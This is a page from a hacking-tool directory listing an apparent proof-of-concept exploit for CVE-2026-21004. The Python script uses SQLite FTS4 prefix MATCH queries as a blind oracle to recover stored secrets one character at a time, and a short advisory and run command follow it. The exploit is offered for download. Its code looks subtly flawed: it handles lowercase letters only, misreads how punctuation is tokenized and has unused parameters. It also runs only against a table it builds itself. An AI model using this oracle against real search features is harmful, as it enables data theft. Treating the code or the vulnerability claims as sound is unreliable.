Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/george0papasotiriou/cve-2026-21004-sqlite-fts3-match-infoleak-via-query-crafting
Vulnerability AnalysisExploitationData ExfiltrationDatabase Security
GitHubgeorge0papasotiriou/cve-2026-21004-sqlite-fts3-match-infoleak-via-query-crafting

CVE-2026-21004-SQLite-FTS3-Match-Infoleak-via-Query-Crafting

Proof-of-concept exploit for CVE-2026-21004: uses crafted SQLite FTS3/4 MATCH prefix queries as a blind oracle to recover indexed secret data character by character.

View Repository
41 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-21004 – SQLite FTS3 Match Infoleak via Query Crafting

Program Code (Python)

root@kitploit:~
# sqlite_fts_leak.py - Creates FTS table and exploits match info
import sqlite3

conn = sqlite3.connect(':memory:')
conn.execute("CREATE VIRTUAL TABLE secrets USING fts4(content TEXT)")
conn.execute("INSERT INTO secrets VALUES ('admin:password123')")
conn.execute("INSERT INTO secrets VALUES ('user:secret456')")

# Attacker guesses characters using FTS MATCH with partial matching
def guess_char(prefix, known):
    for c in "abcdefghijklmnopqrstuvwxyz0123456789_:":
        query = f'SELECT * FROM secrets WHERE content MATCH ?'
        # In FTS4, MATCH can leak whether a term exists; we abuse by searching column directly
        try:
            cur = conn.execute(query, (f'"{prefix}{c}*"',))
            if cur.fetchone():
                return c
        except:
            pass
    return None

# Recover the secret character by character
prefix = ""
for _ in range(20):
    c = guess_char(prefix, "")
    if c is None: break
    prefix += c
print(f"Recovered: {prefix}")

CVE-2026-21004 – SQLite FTS3/4 Match Information Leak

Severity: High

Overview

An application using SQLite FTS4 exposes a search function that returns results based on a MATCH query. By observing whether a match occurs (or timing differences), an attacker can brute-force the content of the full‑text index character by character, extracting sensitive data.

Vulnerability Details

  • Type: Information Disclosure / Blind Injection
  • Impact: Data exfiltration from indexed columns.
  • Root Cause: The FTS MATCH operator supports prefix queries (term*), enabling an attacker to perform a dictionary attack without knowing the full term.

Exploit Demonstration

Run the exploit:

root@kitploit:~
python sqlite_fts_leak.py

The script progressively recovers the content of the secrets table.

Download Tool